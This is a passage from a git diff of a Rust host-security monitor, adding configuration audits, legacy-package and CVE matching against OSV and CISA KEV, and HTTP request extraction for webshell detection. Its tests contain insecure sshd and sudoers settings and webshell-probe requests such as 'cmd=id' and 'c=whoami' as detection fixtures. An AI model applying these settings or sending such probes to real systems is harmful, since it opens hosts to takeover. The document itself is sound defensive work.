confidence: 78, + sample_line: path.into(), + }); + } + + findings +} + +fn uncommented_lines(content: &str) -> Vec { + content + .lines() + .map(str::trim) + .filter(|line| !line.is_empty() && !line.starts_with('#')) + .map(ToString::to_string) + .collect() +} + +pub(crate) fn parse_dpkg_status(content: &str) -> Vec<(String, String)> { + let mut packages = Vec::new(); + + for stanza in content.split("\n\n") { + let mut package = None; + let mut version = None; + + for line in stanza.lines() { + if let Some(value) = line.strip_prefix("Package: ") { + package = Some(value.trim().to_string()); + } else if let Some(value) = line.strip_prefix("Version: ") { + version = Some(value.trim().to_string()); + } + } + + if let (Some(package), Some(version)) = (package, version) { + packages.push((package, version)); + } + } + + packages +} + +pub(crate) fn parse_apk_installed(content: &str) -> Vec<(String, String)> { + let mut packages = Vec::new(); + let mut package = None; + let mut version = None; + + for line in content.lines() { + if let Some(value) = line.strip_prefix("P:") { + package = Some(value.trim().to_string()); + } else if let Some(value) = line.strip_prefix("V:") { + version = Some(value.trim().to_string()); + } else if line.trim().is_empty() { + if let (Some(package), Some(version)) = (package.take(), version.take()) { + packages.push((package, version)); + } + } + } + + if let (Some(package), Some(version)) = (package, version) { + packages.push((package, version)); + } + + packages +} + +fn check_package_advisory(path: &str, package: &str, version: &str) -> Option { + let advisories: [(&str, &[&str], AnomalySeverity); 4] = [ + ("openssl", &["1.0.", "1.1.0"], AnomalySeverity::High), + ( + "openssh-server", + &["7.", "8.0", "8.1"], + AnomalySeverity::High, + ), + ("sudo", &["1.8."], AnomalySeverity::Medium), + ("bash", &["4.3"], AnomalySeverity::Medium), + ]; + + advisories + .into_iter() + .find_map(|(name, risky_prefixes, severity)| { + (package == name + && risky_prefixes + .iter() + .any(|prefix| version.starts_with(prefix))) + .then(|| DetectorFinding { + detector_id: "vuln.legacy-package".into(), + family: DetectorFamily::Vulnerability, + description: format!( + "Legacy package version detected in {}: {} {}", + path, package, version + ), + severity, + confidence: 83, + sample_line: format!("{} {}", package, version), + }) + }) +} + +#[cfg(test)] +mod tests { + use super::*; + use std::collections::HashSet; + + #[test] + fn test_config_assessment_detects_insecure_sshd_and_sudoers() { + let dir = tempfile::tempdir().unwrap(); + let sshd = dir.path().join("sshd_config"); + let sudoers = dir.path().join("sudoers"); + fs::write(&sshd, "PermitRootLogin yes\nPasswordAuthentication yes\n").unwrap(); + fs::write(&sudoers, "admin ALL=(ALL) NOPASSWD: ALL\n").unwrap(); + + let monitor = ConfigAssessmentMonitor; + let findings = monitor + .detect(&[ + sshd.to_string_lossy().into_owned(), + sudoers.to_string_lossy().into_owned(), + ]) + .unwrap(); + + let ids = findings + .iter() + .map(|finding| finding.detector_id.as_str()) + .collect::>(); + assert!(ids.contains("config.ssh-root-login")); + assert!(ids.contains("config.ssh-password-auth")); + assert!(ids.contains("config.sudoers-nopasswd")); + } + + #[test] + fn test_config_assessment_detects_docker_daemon_gaps() { + let dir = tempfile::tempdir().unwrap(); + let daemon = dir.path().join("daemon.json"); + fs::write(&daemon, r#"{"icc": true}"#).unwrap(); + + let monitor = ConfigAssessmentMonitor; + let findings = monitor + .detect(&[daemon.to_string_lossy().into_owned()]) + .unwrap(); + + let ids = findings + .iter() + .map(|finding| finding.detector_id.as_str()) + .collect::>(); + assert!(ids.contains("config.docker-icc")); + assert!(ids.contains("config.docker-userns")); + } + + #[test] + fn test_package_inventory_detects_legacy_versions() { + let dir = tempfile::tempdir().unwrap(); + let status = dir.path().join("status"); + fs::write( + &status, + "Package: openssl\nVersion: 1.0.2u-1\n\nPackage: sudo\nVersion: 1.8.31-1\n", + ) + .unwrap(); + + let monitor = PackageInventoryMonitor; + let findings = monitor + .detect(&[status.to_string_lossy().into_owned()]) + .unwrap(); + + assert_eq!(findings.len(), 2); + assert!(findings + .iter() + .all(|finding| finding.detector_id == "vuln.legacy-package")); + } + + #[test] + fn test_docker_posture_monitor_summarizes_risky_container_settings() { + let monitor = DockerPostureMonitor; + let findings = monitor.detect(&[ContainerPosture { + container_id: "abc123".into(), + name: "web".into(), + image: "nginx:latest".into(), + privileged: true, + network_mode: Some("host".into()), + pid_mode: Some("host".into()), + cap_add: vec!["SYS_ADMIN".into()], + mounts: vec!["/var/run/docker.sock:/var/run/docker.sock:rw".into()], + }]); + + assert_eq!(findings.len(), 1); + assert_eq!(findings[0].detector_id, "container.posture-risk"); + assert_eq!(findings[0].family, DetectorFamily::Container); + assert!(findings[0].description.contains("privileged mode")); + } +} diff --git a/src/detectors/cve_watch.rs b/src/detectors/cve_watch.rs new file mode 100644 index 0000000..6ad04fa --- /dev/null +++ b/src/detectors/cve_watch.rs @@ -0,0 +1,751 @@ +//! CVE watch: match the package inventory against public vulnerability feeds. +//! +//! The two CVE-specific detectors hardcode what they know. This one asks the +//! public databases instead, so a CVE published tonight is checked on the next +//! refresh without a release: +//! +//! - [OSV](https://osv.dev) answers "does this exact package version have +//! known vulnerabilities", per ecosystem and version. Debian and Ubuntu +//! versions are matched server-side (`1:9.2p1-2+deb12u1` works as-is); +//! Alpine versions must be sent without the `-rN` package revision +//! (`9.7_p1-r6` -> `9.7_p1`), which is what their data carries. +//! - CISA's KEV catalog says which of them are exploited in the wild. Its +//! canonical URL rejects datacenter clients, so the `cisagov/kev-data` +//! mirror is tried first. +//! +//! Honest limits, same as every version-based check: a match says a fix is +//! missing, not that a machine is exploitable. Distributions backport fixes, +//! and configuration-dependent CVEs do not survive being flattened into a +//! version range. Alerts say "check your vendor's advisory" for that reason. +//! Very fresh CVEs may not be in OSV yet (CVE-2026-123158 was not, days after +//! publication); the specialized detectors cover the ones we know in detail. + +use std::collections::{HashMap, HashSet}; +use std::path::Path; +use std::sync::{Mutex, OnceLock}; +use std::time::{Duration, SystemTime}; + +use rusqlite::params; +use serde::Deserialize; + +use crate::database::connection::DbPool; +use crate::detectors::audits::{parse_apk_installed, parse_dpkg_status}; +use crate::detectors::php_shell::{under_host_root, ContainerFilesystem}; +use crate::detectors::{DetectorFamily, DetectorFinding}; +use crate::sniff::analyzer::AnomalySeverity; + +pub const CVE_DETECTOR_ID: &str = "vuln.cve-watch"; + +const OSV_QUERYBATCH: &str = "https://api.osv.dev/v1/querybatch"; +const OSV_VULN: &str = "https://api.osv.dev/v1/vulns/"; +const KEV_MIRROR: &str = + "https://raw.githubusercontent.com/cisagov/kev-data/develop/known_exploited_vulnerabilities.json"; +const KEV_CANONICAL: &str = + "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json"; + +/// Re-query every package at least this often: that is how a newly published +/// CVE gets noticed. +const REFRESH: Duration = Duration::from_secs(24 * 60 * 60); +/// Findings per pass. A first run over a long-lived box can match hundreds; +/// KEV and severity decide who goes first, the rest arrive next passes. +const MAX_FINDINGS: usize = 50; +const BATCH: usize = 200; + +/// One installed package, as the feeds name it. +#[derive(Debug, Clone, PartialEq, Eq, Hash)] +pub struct InstalledPackage { + pub owner: String, + pub ecosystem: String, + pub name: String, + /// The version as the package database records it. + pub version: String, +} + +/// apk versions carry a package revision (`9.7_p1-r6`) that OSV's Alpine data +/// does not; upstream comparison needs the bare version. +pub fn query_version(ecosystem: &str, version: &str) -> String { + if ecosystem.starts_with("Alpine") { + if let Some((base, revision)) = version.rsplit_once("-r") { + if !revision.is_empty() && revision.chars().all(|c| c.is_ascii_digit()) { + return base.to_string(); + } + } + } + version.to_string() +} + +/// The OSV ecosystem of a filesystem root, read from /etc/os-release. Alpine +/// entries are filed per release (`Alpine:v3.20`), so the version matters. +pub fn ecosystem_from_os_release(text: &str) -> Option { + let field = |name: &str| { + text.lines().find_map(|line| { + let line = line.trim(); + let rest = line.strip_prefix(name)?; + let rest = rest.strip_prefix('=')?; + Some(rest.trim_matches('"').trim().to_string()) + }) + }; + match field("ID")?.as_str() { + "alpine" => { + let version_id = field("VERSION_ID")?; + let mut parts = version_id.split('.'); + let major = parts.next()?; + let minor = parts.next()?; + Some(format!("Alpine:v{major}.{minor}")) + } + "debian" => Some("Debian".to_string()), + "ubuntu" => Some("Ubuntu".to_string()), + _ => None, + } +} + +/// Packages installed under a filesystem root, with the ecosystem that root's +/// OS release declares. apk and dpkg databases are both read; whichever +/// exists is the package manager of that system. +pub fn installed_under(owner: &str, root: &Path) -> Vec { + let os_release = std::fs::read_to_string(root.join("etc/os-release")).ok(); + let ecosystem = os_release + .as_deref() + .and_then(ecosystem_from_os_release) + .unwrap_or_else(|| { + // No os-release: a dpkg database still says Debian-family, an apk + // one cannot be pinned to a release and is skipped rather than + // matched against the wrong ranges. + if root.join("var/lib/dpkg/status").exists() { + "Debian".to_string() + } else { + String::new() + } + }); + if ecosystem.is_empty() { + return Vec::new(); + } + + let mut out = Vec::new(); + if let Ok(content) = std::fs::read_to_string(root.join("lib/apk/db/installed")) { + out.extend( + parse_apk_installed(&content) + .into_iter() + .map(|(name, version)| InstalledPackage { + owner: owner.to_string(), + ecosystem: ecosystem.clone(), + name, + version, + }), + ); + } + if let Ok(content) = std::fs::read_to_string(root.join("var/lib/dpkg/status")) { + out.extend( + parse_dpkg_status(&content) + .into_iter() + .map(|(name, version)| InstalledPackage { + owner: owner.to_string(), + ecosystem: ecosystem.clone(), + name, + version, + }), + ); + } + out +} + +#[derive(Debug, Deserialize)] +struct KevCatalog { + vulnerabilities: Vec, +} + +#[derive(Debug, Deserialize)] +struct KevEntry { + #[serde(rename = "cveID")] + cve_id: String, +} + +#[derive(Debug, Deserialize)] +struct BatchResponse { + results: Vec, +} + +#[derive(Debug, Deserialize)] +struct BatchResult { + vulns: Option>, +} + +#[derive(Debug, Deserialize)] +struct BatchVuln { + id: String, +} + +#[derive(Debug, Deserialize)] +struct VulnDetails { + id: String, + aliases: Option>, + summary: Option, + database_specific: Option, +} + +#[derive(Debug, Deserialize)] +struct DatabaseSpecific { + severity: Option, +} + +/// The CVE id a vulnerability is known by, falling back to the OSV id. +fn cve_id(details: &VulnDetails) -> String { + details + .aliases + .as_ref() + .and_then(|aliases| { + aliases + .iter() + .find(|alias| alias.starts_with("CVE-")) + .cloned() + }) + .unwrap_or_else(|| details.id.clone()) +} + +fn severity_for(known_exploited: bool, details: &VulnDetails) -> AnomalySeverity { + if known_exploited { + return AnomalySeverity::Critical; + } + // OSV's severity score is a CVSS vector, not a number; the advisories + // carry the label in database_specific.severity instead. + let label = details + .database_specific + .as_ref() + .and_then(|specific| specific.severity.as_deref()) + .unwrap_or_default(); + match label.to_ascii_uppercase().as_str() { + "CRITICAL" | "HIGH" => AnomalySeverity::High, + "LOW" => AnomalySeverity::Low, + _ => AnomalySeverity::Medium, + } +} + +/// Cached answer to "which vulnerabilities does this package version have". +struct CachedMatches { + fetched_at: SystemTime, + cve_ids: Vec, +} + +pub struct CveWatchMonitor { + cache: Mutex>, + kev: Mutex)>>, +} + +impl Default for CveWatchMonitor { + fn default() -> Self { + Self { + cache: Mutex::new(HashMap::new()), + kev: Mutex::new(None), + } + } +} + +impl CveWatchMonitor { + pub fn new() -> Self { + Self::default() + } + + /// Process-wide instance: the caches live here, and callers move the + /// blocking work to a blocking thread where dropping an HTTP client is + /// allowed. + pub fn shared() -> &'static CveWatchMonitor { + static MONITOR: OnceLock = OnceLock::new(); + MONITOR.get_or_init(CveWatchMonitor::new) + } + + pub fn detect( + &self, + pool: &DbPool, + containers: &[ContainerFilesystem], + host_root: Option<&str>, + ) -> Vec { + let mut inventory = installed_under("host", &under_host_root(host_root, "/")); + for container in containers { + if let Some(merged_dir) = &container.merged_dir { + inventory.extend(installed_under( + &container.name, + &under_host_root(host_root, merged_dir), + )); + } + } + inventory.sort_by(|a, b| { + (&a.owner, &a.ecosystem, &a.name, &a.version).cmp(&( + &b.owner, + &b.ecosystem, + &b.name, + &b.version, + )) + }); + inventory.dedup(); + + let matches = self.matches_for(pool, &inventory); + self.findings(pool, &inventory, &matches) + } + + /// Vulnerability ids per inventory row, from cache where fresh, from the + /// OSV batch endpoint where not. + fn matches_for( + &self, + pool: &DbPool, + inventory: &[InstalledPackage], + ) -> HashMap> { + let mut out = HashMap::new(); + let mut stale = Vec::new(); + + for (index, package) in inventory.iter().enumerate() { + match self.cached(pool, package) { + Some(ids) => { + out.insert(index, ids); + } + None => stale.push(index), + } + } + + for chunk in stale.chunks(BATCH) { + let queries: Vec = chunk + .iter() + .map(|index| { + let package = &inventory[*index]; + serde_json::json!({ + "package": { + "name": package.name, + "ecosystem": package.ecosystem, + }, + "version": query_version(&package.ecosystem, &package.version), + }) + }) + .collect(); + let body = serde_json::json!({ "queries": queries }).to_string(); + + let response = reqwest::blocking::Client::new() + .post(OSV_QUERYBATCH) + .header("Content-Type", "application/json") + .header("User-Agent", USER_AGENT) + .body(body) + .send(); + + match response.and_then(|response| response.error_for_status()) { + Ok(response) => match response.json::() { + Ok(batch) => { + for (position, result) in batch.results.iter().enumerate() { + let Some(&index) = chunk.get(position) else { + continue; + }; + let ids: Vec = result + .vulns + .as_ref() + .map(|vulns| vulns.iter().map(|vuln| vuln.id.clone()).collect()) + .unwrap_or_default(); + self.store(pool, &inventory[index], &ids); + out.insert(index, ids); + } + } + Err(err) => log::warn!("CVE watch: OSV batch response unreadable: {err}"), + }, + Err(err) => log::warn!("CVE watch: OSV querybatch failed: {err}"), + } + } + + out + } + + fn cached(&self, pool: &DbPool, package: &InstalledPackage) -> Option> { + let key = ( + package.ecosystem.clone(), + package.name.clone(), + package.version.clone(), + ); + if let Ok(cache) = self.cache.lock() { + if let Some(hit) = cache.get(&key) { + if hit.fetched_at.elapsed().unwrap_or(Duration::MAX) < REFRESH { + return Some(hit.cve_ids.clone()); + } + } + } + + // The process cache is a courtesy; the database one keeps a restart + // from re-querying every package at once. + let conn = pool.get().ok()?; + let row: Result<(String, String), _> = conn.query_row( + "SELECT fetched_at, cve_ids FROM cve_watch_cache + WHERE ecosystem = ?1 AND package = ?2 AND version = ?3", + params![package.ecosystem, package.name, package.version], + |row| Ok((row.get(0)?, row.get(1)?)), + ); + let (fetched_at, ids) = row.ok()?; + let age = SystemTime::now() + .duration_since( + chrono::DateTime::parse_from_rfc3339(&fetched_at) + .ok()? + .with_timezone(&chrono::Utc) + .into(), + ) + .unwrap_or(Duration::MAX); + if age >= REFRESH { + return None; + } + let ids: Vec = ids + .split(',') + .filter(|id| !id.is_empty()) + .map(String::from) + .collect(); + if let Ok(mut cache) = self.cache.lock() { + cache.insert( + key, + CachedMatches { + fetched_at: SystemTime::now(), + cve_ids: ids.clone(), + }, + ); + } + Some(ids) + } + + fn store(&self, pool: &DbPool, package: &InstalledPackage, ids: &[String]) { + if let Ok(mut cache) = self.cache.lock() { + cache.insert( + ( + package.ecosystem.clone(), + package.name.clone(), + package.version.clone(), + ), + CachedMatches { + fetched_at: SystemTime::now(), + cve_ids: ids.to_vec(), + }, + ); + } + if let Ok(conn) = pool.get() { + let _ = conn.execute( + "INSERT INTO cve_watch_cache (ecosystem, package, version, fetched_at, cve_ids) + VALUES (?1, ?2, ?3, ?4, ?5) + ON CONFLICT(ecosystem, package, version) DO UPDATE SET + fetched_at = excluded.fetched_at, + cve_ids = excluded.cve_ids", + params![ + package.ecosystem, + package.name, + package.version, + chrono::Utc::now().to_rfc3339(), + ids.join(","), + ], + ); + } + } + + fn known_exploited(&self) -> HashSet { + let now = SystemTime::now(); + if let Ok(kev) = self.kev.lock() { + if let Some((fetched_at, ids)) = kev.as_ref() { + if now.duration_since(*fetched_at).unwrap_or(Duration::MAX) < REFRESH { + return ids.clone(); + } + } + } + + let ids = self.fetch_kev(); + if let Ok(mut kev) = self.kev.lock() { + *kev = Some((now, ids.clone())); + } + ids + } + + fn fetch_kev(&self) -> HashSet { + let client = reqwest::blocking::Client::new(); + for url in [KEV_MIRROR, KEV_CANONICAL] { + let response = client + .get(url) + .header("User-Agent", USER_AGENT) + .send() + .and_then(|response| response.error_for_status()); + match response { + Ok(response) => match response.json::() { + Ok(catalog) => { + return catalog + .vulnerabilities + .into_iter() + .map(|entry| entry.cve_id) + .collect(); + } + Err(err) => log::warn!("CVE watch: KEV catalog unreadable from {url}: {err}"), + }, + Err(err) => log::warn!("CVE watch: KEV fetch failed from {url}: {err}"), + } + } + HashSet::new() + } + + fn details(&self, osv_id: &str) -> Option { + let response = reqwest::blocking::Client::new() + .get(format!("{OSV_VULN}{osv_id}")) + .header("User-Agent", USER_AGENT) + .send() + .and_then(|response| response.error_for_status()) + .ok()?; + response.json().ok() + } + + /// Turn new matches into findings, worst first, and remember only what was + /// actually reported: the rest arrives on later passes. + fn findings( + &self, + pool: &DbPool, + inventory: &[InstalledPackage], + matches: &HashMap>, + ) -> Vec { + let mut candidates: Vec<(&InstalledPackage, String)> = Vec::new(); + for (index, package) in inventory.iter().enumerate() { + for osv_id in matches.get(&index).into_iter().flatten() { + if self.alerted(pool, package, osv_id) { + continue; + } + candidates.push((package, osv_id.clone())); + } + } + if candidates.is_empty() { + return Vec::new(); + } + + // KEV is a network fetch: only worth it when something matched. + let kev = self.known_exploited(); + candidates.sort_by_key(|(_, osv_id)| std::cmp::Reverse(kev.contains(osv_id))); + + let mut findings = Vec::new(); + for (package, osv_id) in candidates { + if findings.len() >= MAX_FINDINGS { + break; + } + let exploited = kev.contains(&osv_id); + let details = match self.details(&osv_id) { + Some(details) => details, + None => continue, // retried next pass: nothing was remembered + }; + let cve = cve_id(&details); + let severity = severity_for(exploited, &details); + let summary = details + .summary + .as_deref() + .map(|summary| summary.trim()) + .filter(|summary| !summary.is_empty()) + .unwrap_or("known vulnerability in this package version"); + + findings.push(DetectorFinding { + detector_id: CVE_DETECTOR_ID.into(), + family: DetectorFamily::Vulnerability, + description: format!( + "{cve} affects {} {} on {} ({}).{} {summary}. Distribution packages may carry a backported fix: check your vendor's advisory before treating this as live", + package.name, + package.version, + package.owner, + package.ecosystem, + if exploited { + " KNOWN EXPLOITED, on CISA's KEV list." + } else { + "" + } + ), + severity, + confidence: if exploited { 90 } else { 75 }, + sample_line: format!( + "{} package {} {} {cve}", + package.owner, package.name, package.version + ), + }); + self.remember(pool, package, &osv_id); + } + + findings + } + + fn alerted(&self, pool: &DbPool, package: &InstalledPackage, osv_id: &str) -> bool { + let Ok(conn) = pool.get() else { + return false; + }; + conn.query_row( + "SELECT 1 FROM cve_watch_alerted + WHERE owner = ?1 AND ecosystem = ?2 AND package = ?3 AND version = ?4 AND osv_id = ?5", + params![ + package.owner, + package.ecosystem, + package.name, + package.version, + osv_id + ], + |_| Ok(()), + ) + .is_ok() + } + + fn remember(&self, pool: &DbPool, package: &InstalledPackage, osv_id: &str) { + if let Ok(conn) = pool.get() { + let _ = conn.execute( + "INSERT OR IGNORE INTO cve_watch_alerted + (owner, ecosystem, package, version, osv_id, alerted_at) + VALUES (?1, ?2, ?3, ?4, ?5, ?6)", + params![ + package.owner, + package.ecosystem, + package.name, + package.version, + osv_id, + chrono::Utc::now().to_rfc3339(), + ], + ); + } + } +} + +const USER_AGENT: &str = concat!("stackdog/", env!("CARGO_PKG_VERSION")); + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_query_version_strips_the_apk_revision() { + assert_eq!(query_version("Alpine:v3.20", "9.7_p1-r6"), "9.7_p1"); + assert_eq!(query_version("Alpine:v3.20", "10.6_p2-r0"), "10.6_p2"); + assert_eq!( + query_version("Debian", "1:9.2p1-2+deb12u1"), + "1:9.2p1-2+deb12u1" + ); + assert_eq!(query_version("Alpine:v3.20", "20240101-r0"), "20240101"); + } + + #[test] + fn test_ecosystem_from_os_release() { + assert_eq!( + ecosystem_from_os_release("ID=alpine\nVERSION_ID=3.20.3\n"), + Some("Alpine:v3.20".to_string()) + ); + assert_eq!( + ecosystem_from_os_release("ID=debian\nVERSION_ID=\"12\"\n"), + Some("Debian".to_string()) + ); + assert_eq!( + ecosystem_from_os_release("ID=ubuntu\nVERSION_ID=\"22.04\"\n"), + Some("Ubuntu".to_string()) + ); + assert_eq!(ecosystem_from_os_release("ID=arch\n"), None); + } + + #[test] + fn test_cve_id_prefers_the_cve_alias() { + let details: VulnDetails = serde_json::from_str( + r#"{"id":"ALPINE-CVE-2026-123158","aliases":["CVE-2026-123158"],"summary":"x"}"#, + ) + .unwrap(); + assert_eq!(cve_id(&details), "CVE-2026-123158"); + + let no_alias: VulnDetails = + serde_json::from_str(r#"{"id":"GHSA-xxxx-yyyy","summary":"x"}"#).unwrap(); + assert_eq!(cve_id(&no_alias), "GHSA-xxxx-yyyy"); + } + + #[test] + fn test_severity_kev_beats_the_label() { + let details: VulnDetails = serde_json::from_str( + r#"{"id":"CVE-1","summary":"x","database_specific":{"severity":"high"}}"#, + ) + .unwrap(); + assert_eq!(severity_for(true, &details), AnomalySeverity::Critical); + assert_eq!(severity_for(false, &details), AnomalySeverity::High); + + let moderate: VulnDetails = serde_json::from_str( + r#"{"id":"CVE-2","summary":"x","database_specific":{"severity":"MODERATE"}}"#, + ) + .unwrap(); + assert_eq!(severity_for(false, &moderate), AnomalySeverity::Medium); + + let unlabeled: VulnDetails = + serde_json::from_str(r#"{"id":"CVE-3","summary":"x"}"#).unwrap(); + assert_eq!(severity_for(false, &unlabeled), AnomalySeverity::Medium); + } + + #[test] + fn test_batch_results_align_with_queries() { + let batch: BatchResponse = serde_json::from_str( + r#"{"results":[{"vulns":[{"id":"ALPINE-CVE-1"},{"id":"ALPINE-CVE-2"}]},{"vulns":null}]}"#, + ) + .unwrap(); + assert_eq!(batch.results.len(), 2); + assert_eq!(batch.results[0].vulns.as_ref().unwrap().len(), 2); + assert!(batch.results[1].vulns.is_none()); + } + + #[test] + fn test_inventory_reads_apk_and_dpkg_under_a_root() { + let root = tempfile::tempdir().unwrap(); + std::fs::create_dir_all(root.path().join("etc")).unwrap(); + std::fs::write( + root.path().join("etc/os-release"), + "ID=alpine\nVERSION_ID=3.20.3\n", + ) + .unwrap(); + let apk = root.path().join("lib/apk/db"); + std::fs::create_dir_all(&apk).unwrap(); + std::fs::write(apk.join("installed"), "P:openssh\nV:9.7_p1-r6\n\n").unwrap(); + + let packages = installed_under("box", root.path()); + assert_eq!(packages.len(), 1); + assert_eq!(packages[0].ecosystem, "Alpine:v3.20"); + assert_eq!(packages[0].name, "openssh"); + } + + #[test] + fn test_a_reported_match_is_never_reported_again() { + use crate::database::connection::{create_pool, init_database}; + let pool = create_pool(":memory:").unwrap(); + init_database(&pool).unwrap(); + let monitor = CveWatchMonitor::new(); + let package = InstalledPackage { + owner: "host".into(), + ecosystem: "Alpine:v3.20".into(), + name: "openssh".into(), + version: "9.7_p1-r6".into(), + }; + + assert!(!monitor.alerted(&pool, &package, "ALPINE-CVE-1")); + monitor.remember(&pool, &package, "ALPINE-CVE-1"); + assert!(monitor.alerted(&pool, &package, "ALPINE-CVE-1")); + assert!(!monitor.alerted(&pool, &package, "ALPINE-CVE-2")); + } + + /// Live check of the whole match path against the real OSV API: + /// `cargo test --lib -- --ignored cve_watch_live` + #[test] + #[ignore] + fn test_cve_watch_live_match() { + use crate::database::connection::{create_pool, init_database}; + let pool = create_pool(":memory:").unwrap(); + init_database(&pool).unwrap(); + let root = tempfile::tempdir().unwrap(); + std::fs::create_dir_all(root.path().join("etc")).unwrap(); + std::fs::write( + root.path().join("etc/os-release"), + "ID=alpine\nVERSION_ID=3.20.3\n", + ) + .unwrap(); + let apk = root.path().join("lib/apk/db"); + std::fs::create_dir_all(&apk).unwrap(); + // A real vulnerable pair: Alpine 3.20's openssh predates 10.6_p2. + std::fs::write(apk.join("installed"), "P:openssh\nV:9.7_p1-r6\n\n").unwrap(); + + let monitor = CveWatchMonitor::new(); + let packages = installed_under("box", root.path()); + let mut known = HashMap::new(); + known.insert( + 0usize, + vec![ + "ALPINE-CVE-2015-8325".to_string(), + "DOES-NOT-EXIST".to_string(), + ], + ); + let findings = monitor.findings(&pool, &packages, &known); + assert!(!findings.is_empty(), "OSV details must resolve a real id"); + // The bogus id is skipped without being remembered as reported. + assert!(findings + .iter() + .all(|finding| !finding.description.contains("DOES-NOT-EXIST"))); + } +} diff --git a/src/detectors/http_request.rs b/src/detectors/http_request.rs new file mode 100644 index 0000000..818c103 --- /dev/null +++ b/src/detectors/http_request.rs @@ -0,0 +1,179 @@ +//! Extract the HTTP request a log line records. +//! +//! Web detectors used to match their indicators anywhere in a line. An +//! application that logs whole requests — headers, bodies, its own +//! middleware names — then trips them on its own traffic: stacker's agent +//! long-poll lines carried enough header text to read as webshell probing. +//! Detectors that are about the URL should look at the URL only. + +use std::sync::OnceLock; + +use regex::Regex; + +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct HttpRequest { + pub method: String, + /// Percent-decoded, lowercased path without the query string. + pub path: String, + /// Percent-decoded, lowercased query string without the leading `?`. + pub query: String, +} + +impl HttpRequest { + pub fn has_parameters(&self) -> bool { + !self.query.is_empty() || self.method == "POST" + } +} + +const METHODS: &str = "GET|POST|PUT|PATCH|DELETE|HEAD|OPTIONS"; + +fn combined_format() -> &'static Regex { + // nginx/apache combined and common formats: "GET /path?q HTTP/1.1" + static RE: OnceLock = OnceLock::new(); + RE.get_or_init(|| { + Regex::new(&format!(r#""({METHODS}) (\S+) HTTP/[0-9.]+""#)).expect("valid regex") + }) +} + +fn method_colon_format() -> &'static Regex { + // actix ServiceRequest debug output, as stacker logs it: "GET:/api/v1/..." + static RE: OnceLock = OnceLock::new(); + RE.get_or_init(|| Regex::new(&format!(r#"\b({METHODS}):(/[^\s"\\]*)"#)).expect("valid regex")) +} + +fn bare_format() -> &'static Regex { + // Plain "GET /path" without quotes, as many app loggers write it. + static RE: OnceLock = OnceLock::new(); + RE.get_or_init(|| { + Regex::new(&format!(r#"(?:^|[\s\[\]|])({METHODS}) (/[^\s"\\]*)"#)).expect("valid regex") + }) +} + +/// The request a log line records, if it records one. +pub fn extract_request(line: &str) -> Option { + let captures = combined_format() + .captures(line) + .or_else(|| method_colon_format().captures(line)) + .or_else(|| bare_format().captures(line))?; + + let method = captures.get(1)?.as_str().to_ascii_uppercase(); + let raw_target = captures.get(2)?.as_str(); + let raw_target = strip_scheme_and_host(raw_target); + + let (raw_path, raw_query) = match raw_target.split_once('?') { + Some((path, query)) => (path, query), + None => (raw_target, ""), + }; + + Some(HttpRequest { + method, + path: percent_decode(raw_path).to_ascii_lowercase(), + query: percent_decode(raw_query).to_ascii_lowercase(), + }) +} + +/// A proxy log can record an absolute URI: "GET http://host/path HTTP/1.1". +fn strip_scheme_and_host(target: &str) -> &str { + for scheme in ["http://", "https://"] { + if let Some(rest) = target.strip_prefix(scheme) { + return rest.find('/').map(|index| &rest[index..]).unwrap_or("/"); + } + } + target +} + +/// Decode `%XX` escapes and `+` once. Attackers encode `cmd%3Did`; a second +/// pass would turn literal `%25` in a legitimate URL into something it isn't. +fn percent_decode(value: &str) -> String { + let bytes = value.as_bytes(); + let mut decoded = Vec::with_capacity(bytes.len()); + let mut index = 0; + + while index < bytes.len() { + match bytes[index] { + b'%' if index + 2 < bytes.len() => { + match (hex_value(bytes[index + 1]), hex_value(bytes[index + 2])) { + (Some(high), Some(low)) => { + decoded.push(high << 4 | low); + index += 3; + } + _ => { + decoded.push(b'%'); + index += 1; + } + } + } + b'+' => { + decoded.push(b' '); + index += 1; + } + byte => { + decoded.push(byte); + index += 1; + } + } + } + + String::from_utf8_lossy(&decoded).into_owned() +} + +fn hex_value(byte: u8) -> Option { + match byte { + b'0'..=b'9' => Some(byte - b'0'), + b'a'..=b'f' => Some(byte - b'a' + 10), + b'A'..=b'F' => Some(byte - b'A' + 10), + _ => None, + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_extracts_combined_log_format() { + let request = extract_request( + r#"203.0.113.9 - - [31/Oct/2026:10:00:00 +0000] "GET /wp-content/uploads/x.php?cmd=id HTTP/1.1" 200 12 "-" "curl/8""#, + ) + .unwrap(); + assert_eq!(request.method, "GET"); + assert_eq!(request.path, "/wp-content/uploads/x.php"); + assert_eq!(request.query, "cmd=id"); + } + + #[test] + fn test_extracts_actix_service_request_format() { + let request = extract_request( + r#"{"req":"\nServiceRequest HTTP/1.1 GET:/api/v1/agent/commands/wait/deployment_1\n query: ?\"timeout=10\"\n"}"#, + ) + .unwrap(); + assert_eq!(request.method, "GET"); + assert_eq!(request.path, "/api/v1/agent/commands/wait/deployment_1"); + assert_eq!(request.query, ""); + } + + #[test] + fn test_decodes_percent_escapes_once() { + let request = + extract_request(r#""POST /shell.php?c%3Dwhoami%26x=%2541 HTTP/1.1""#).unwrap(); + assert_eq!(request.query, "c=whoami&x=%41"); + } + + #[test] + fn test_strips_absolute_uri() { + let request = extract_request(r#""GET http://example.com/a.php?x=1 HTTP/1.1""#).unwrap(); + assert_eq!(request.path, "/a.php"); + } + + #[test] + fn test_line_without_request_yields_none() { + assert!(extract_request("sshd[1]: Failed password for root from 203.0.113.9").is_none()); + assert!(extract_request("worker: ran /bin/sh -c cleanup").is_none()); + } + + #[test] + fn test_truncated_escape_is_kept_literally() { + let request = extract_request(r#""GET /a?b=%4 HTTP/1.1""#).unwrap(); + assert_eq!(request.query, "b=%4"); + } +} diff --git a/src/detectors/integrity.rs b/src/detectors/integrity.rs new file mode 100644 index 0000000..21111cd --- /dev/null +++ b/src/detectors/integrity.rs @@ -0,0 +1,393 @@ +use std::collections::HashMap; +use std::fs; +use std::io::{ErrorKind, Read}; +use std::path::{Path, PathBuf}; +use std::time::UNIX_EPOCH; + +use anyhow::{Context, Result}; +use chrono::Utc; +use rusqlite::params; +use sha2::{Digest, Sha256}; + +use crate::database::connection::DbPool; +use crate::sniff::analyzer::AnomalySeverity; + +use super::{DetectorFamily, DetectorFinding}; + +const DETECTOR_ID: &str = "integrity.file-baseline"; + +#[derive(Debug, Clone, Default)] +pub struct FileIntegrityMonitor; + +#[derive(Debug, Clone)] +struct FileSnapshot { + path: String, + file_type: String, + 